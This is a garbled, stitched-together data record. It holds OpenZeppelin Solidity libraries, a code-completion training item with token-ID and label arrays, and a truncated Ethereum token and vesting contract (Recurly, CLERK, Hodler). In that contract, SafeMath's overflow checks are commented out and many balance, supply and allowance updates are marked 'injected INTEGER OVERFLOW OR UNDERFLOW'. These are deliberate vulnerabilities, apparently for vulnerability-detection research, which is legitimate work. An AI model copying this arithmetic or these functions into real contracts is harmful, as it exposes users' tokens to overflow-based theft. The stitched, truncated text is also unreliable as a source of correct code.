`token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.0; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; library TransferHelper { /// @notice Transfers tokens from the targeted address to the given destination /// @notice Errors with 'STF' if transfer fails /// @param token The contract address of the token to be transferred /// @param from The originating address from which the tokens will be transferred /// @param to The destination address of the transfer /// @param value The amount to be transferred function safeTransferFrom( address token, address from, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF'); } /// @notice Transfers tokens from msg.sender to a recipient /// @dev Errors with ST if transfer fails /// @param token The contract address of the token which will be transferred /// @param to The recipient of the transfer /// @param value The value of the transfer function safeTransfer( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST'); } /// @notice Approves the stipulated contract to spend the given allowance in the given token /// @dev Errors with 'SA' if transfer fails /// @param token The contract address of the token to be approved /// @param to The target of the approval /// @param value The amount of the given token the target will be allowed to spend function safeApprove( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.approve.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'SA'); } /// @notice Transfers ETH to the recipient address /// @dev Fails with `STE` /// @param to The destination of the transfer /// @param value The value to be transferred function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
assign the earn contract to the owner;
earnContractToOwner[id] = migrated.owner;
13,436,021
[ 1, 6145, 326, 425, 1303, 6835, 358, 326, 3410, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 425, 1303, 8924, 774, 5541, 63, 350, 65, 273, 24741, 18, 8443, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-09-10 */ // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; // File: zeppelin-solidity/contracts/ownership/rbac/Roles.sol /** * @title Roles * @author Francisco Giordano (@frangio) * @dev Library for managing addresses assigned to a Role. * See RBAC.sol for example usage. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } // File: zeppelin-solidity/contracts/ownership/rbac/RBAC.sol /** * @title RBAC (Role-Based Access Control) * @author Matt Condon (@Shrugs) * @dev Stores and provides setters and getters for roles and addresses. * Supports unlimited numbers of roles and addresses. * See //contracts/examples/RBACExample.sol for an example of usage. * This RBAC method uses strings to key roles. It may be beneficial * for you to write your own implementation of this interface using Enums or similar. * It's also recommended that you define constants in the contract, like ROLE_ADMIN below, * to avoid typos. */ abstract contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); /** * A constant role name for indicating admins. */ string public constant ROLE_ADMIN = "admin"; /** * @dev constructor. Sets msg.sender as admin by default */ constructor () { addRole(msg.sender, ROLE_ADMIN); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function addRole(address addr, string memory roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function removeRole(address addr, string memory roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } /** * @dev reverts if addr does not have role * @param addr address * @param roleName the name of the role * // reverts */ function checkRole(address addr, string memory roleName) view public { roles[roleName].check(addr); } /** * @dev determine if addr has role * @param addr address * @param roleName the name of the role * @return bool */ function hasRole(address addr, string memory roleName) view public returns (bool) { return roles[roleName].has(addr); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function adminAddRole(address addr, string memory roleName) onlyAdmin public { addRole(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function adminRemoveRole(address addr, string memory roleName) onlyAdmin public { removeRole(addr, roleName); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param roleName the name of the role * // reverts */ modifier onlyRole(string memory roleName) { checkRole(msg.sender, roleName); _; } /** * @dev modifier to scope access to admins * // reverts */ modifier onlyAdmin() { checkRole(msg.sender, ROLE_ADMIN); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param roleNames the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] roleNames) { // bool hasAnyRole = false; // for (uint8 i = 0; i < roleNames.length; i++) { // if (hasRole(msg.sender, roleNames[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { //assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; //assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ abstract contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view virtual returns (uint256); function transfer(address to, uint256 value) public virtual returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; using SafeMath for uint; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); //injected INTEGER OVERFLOW OR UNDERFLOW emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return balance uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { using SafeMath for uint; event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); //injected INTEGER OVERFLOW OR UNDERFLOW totalSupply = totalSupply.sub(_value); //injected INTEGER OVERFLOW OR UNDERFLOW emit Burn(burner, _value); } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/token/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ abstract contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view virtual returns (uint256); function transferFrom(address from, address to, uint256 value) public virtual returns (bool); function approve(address spender, uint256 value) public virtual returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. athaine */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } // File: zeppelin-solidity/contracts/token/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { using SafeMath for uint; mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); //injected INTEGER OVERFLOW OR UNDERFLOW allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view override returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); //injected INTEGER OVERFLOW OR UNDERFLOW emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); //injected INTEGER OVERFLOW OR UNDERFLOW } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { using SafeMath for uint; event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW balances[_to] = balances[_to].add(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } // File: contracts/Recurly.sol contract Recurly is StandardToken, BurnableToken, MintableToken, RBAC { using SafeMath for uint; string public constant name = "Recurly"; string public constant symbol = "RCR"; uint8 public constant decimals = 18; string constant public ROLE_TRANSFER = "transfer"; constructor() { totalSupply = 0; } // used by hodler contract to transfer users tokens to it function hodlerTransfer(address _from, uint256 _value) external onlyRole(ROLE_TRANSFER) returns (bool) { require(_from != address(0)); require(_value > 0); // hodler address _hodler = msg.sender; // update state balances[_from] = balances[_from].sub(_value); //injected INTEGER OVERFLOW OR UNDERFLOW balances[_hodler] = balances[_hodler].add(_value); //injected INTEGER OVERFLOW OR UNDERFLOW // logs emit Transfer(_from, _hodler, _value); return true; } } // File: contracts/CLERK.sol contract CLERK is StandardToken, BurnableToken, RBAC { using SafeMath for uint; string public constant name = "Defi Clerk"; string public constant symbol = "CLERK"; uint8 public constant decimals = 18; string constant public ROLE_MINT = "mint"; event MintLog(address indexed to, uint256 amount); constructor() { totalSupply = 0; } // used by contracts to mint CLERK tokens function mint(address _to, uint256 _amount) external onlyRole(ROLE_MINT) returns (bool) { require(_to != address(0)); require(_amount > 0); // update state totalSupply = totalSupply.add(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW balances[_to] = balances[_to].add(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW // logs emit MintLog(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } } contract Hodler is Ownable { using SafeMath for uint256; using SafeERC20 for Recurly; using SafeERC20 for CLERK; Recurly public recurly; CLERK public clerk; struct Item { uint256 id; address beneficiary; uint256 value; uint256 releaseTime; bool fulfilled; } mapping(address => mapping(uint256 => Item)) private items; constructor(address _recurly, address _clerk) { require(_recurly != address(0)); recurly = Recurly(_recurly); changeClerkAddress(_clerk); } function changeClerkAddress(address _clerk) public onlyOwner { require(_clerk != address(0)); clerk = CLERK(_clerk); } function hodl(uint256 _id, uint256 _value, uint256 _months) external { require(_id > 0); require(_value > 0); // only 3 types are allowed require(_months == 3 || _months == 6 || _months == 12); // user address _user = msg.sender; // get clerk item Item storage item = items[_user][_id]; // make sure clerk doesnt exist already require(item.id != _id); // turn months to seconds uint256 _seconds = _months.mul(2628000); //current time uint256 _now = block.timestamp; // get release time uint256 _releaseTime = _now.add(_seconds); require(_releaseTime > _now); // check if user has enough balance uint256 balance = recurly.balanceOf(_user); require(balance >= _value); // calculate percentage to mint for user: 3 months = 1% => _months / 3 = x uint256 userPercentage = _months.div(3); // get clerk amount: => (_value * userPercentage) / 100 uint256 userClerkAmount = _value.mul(userPercentage).div(100); // update state items[_user][_id] = Item(_id, _user, _value, _releaseTime, false); // transfer tokens to hodler assert(recurly.hodlerTransfer(_user, _value)); // mint tokens for user assert(clerk.mint(_user, userClerkAmount)); } function release(uint256 _id) external { require(_id > 0); // user address _user = msg.sender; // get item Item storage item = items[_user][_id]; // check if it exists require(item.id == _id); // check if its not already fulfilled require(!item.fulfilled); // check time require(block.timestamp >= item.releaseTime); // check if there is enough tokens uint256 balance = recurly.balanceOf(address(this)); require(balance >= item.value); // update state item.fulfilled = true; // transfer tokens to beneficiary recurly.safeTransfer(item.beneficiary, item.value); } function getItem(address _user, uint256 _id) public view returns (uint256, address, uint256, uint256, bool) { Item storage item = 